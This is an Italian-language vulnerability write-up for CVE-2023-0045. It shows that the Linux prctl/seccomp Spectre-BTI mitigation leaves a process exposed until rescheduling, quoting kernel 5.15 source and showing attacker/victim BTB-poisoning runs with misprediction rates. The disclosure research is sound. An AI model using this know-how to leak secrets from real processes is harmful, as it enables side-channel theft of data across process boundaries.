
PoC e write-up per CVE-2023-0045: bypassa le mitigazioni Linux prctl/seccomp Spectre-BTI utilizzando l'avvelenamento BTB e Flush+Reload per divulgare i segreti del processo.
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Quando testavamo il tasso di successo degli attacchi Spectre-BTI, abbiamo rilevato uno schema strano nell'utilizzo dell'API del kernel come mitigazione[^1]. I nostri test hanno rivelato che il kernel Linux non mitiga correttamente l'attacco, lasciando il processo esposto per un breve periodo dopo la syscall.
Ulteriori indagini hanno mostrato che il kernel non emette un IBPB immediatamente durante la syscall. La funzione ib_prctl_set[^2] aggiorna i Thread Information Flags (TIF) per il task e aggiorna il MSR SPEC_CTRL nella funzione __speculation_ctrl_update [^3], ma l'IBPB viene emesso solo al successivo scheduling, quando vengono controllati i bit TIF. Questo lascia la vittima vulnerabile a valori già iniettati nel BTB, prima della syscall prctl. Il comportamento viene corretto solo dopo un re-scheduling del task. Inoltre, l'ingresso nel kernel (a causa della syscall stessa) non emette un IBPB negli scenari predefiniti (cioè quando il kernel si protegge tramite retpoline o eIBRS).
Eseguire un prctl per mitigare gli attacchi spectre-BTI usando:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
porta alla funzione ib_prctl_set[^2] sul kernel 5.15. Quando viene utilizzata l'opzione SPEC_DISABLE viene impostato il bit TIF per task_set_spec_ib_disable e viene chiamato task_update_spec_tif:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable chiama set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); e se il task target è quello corrente chiama speculation_ctrl_update_current();
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update_current dopo il wrapper speculation_ctrl_update esegue __speculation_ctrl_update con tifp = ~tifp, qui viene eseguito l'aggiornamento del wrmsr per impostare lo STIBP ma non viene emesso alcun IBPB:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
La syscall seccomp utilizza anch'essa ib_prctl_set[^2] come mitigazione, all'interno di arch_seccomp_spec_mitigate[^4], quindi lo stesso risultato è previsto con seccomp.
Sebbene dall'analisi del codice fossimo certi che la finestra per sfruttare l'attacco esista, non era chiaro se fosse abbastanza grande da permettere alla vittima di caricare segreti e all'attaccante di esfilarli (poiché ci si aspetta che i segreti non siano nello spazio degli indirizzi della vittima fino a quando la chiamata prctl non viene emessa). I test sono stati eseguiti su una macchina bare metal con supporto per mitigazioni hardware, con una installazione di ubuntu 22.04.1 LTS:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
Il codice di test consiste di due processi che eseguono sullo stesso core logico. L'attaccante avvelena costantemente il BTB con l'indirizzo di un gadget spectre presente in un processo vittima. Il processo vittima misura il tasso di predizione errata controllando se una variabile di test è stata acceduta dalla funzione gadget spectre. Questo solitamente produce il seguente output:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
Quindi, viene utilizzato PRCTL per mitigare l'attacco. La mitigazione può essere abilitata aggiungendo prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); all'inizio del programma. Questo dovrebbe mitigare l'attacco spectre-BTI:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
Tuttavia, alcuni test hanno mostrato un risultato diverso:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
E cambiare la 'nice' (priorità) sembra influenzare il tasso di predizione errata:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)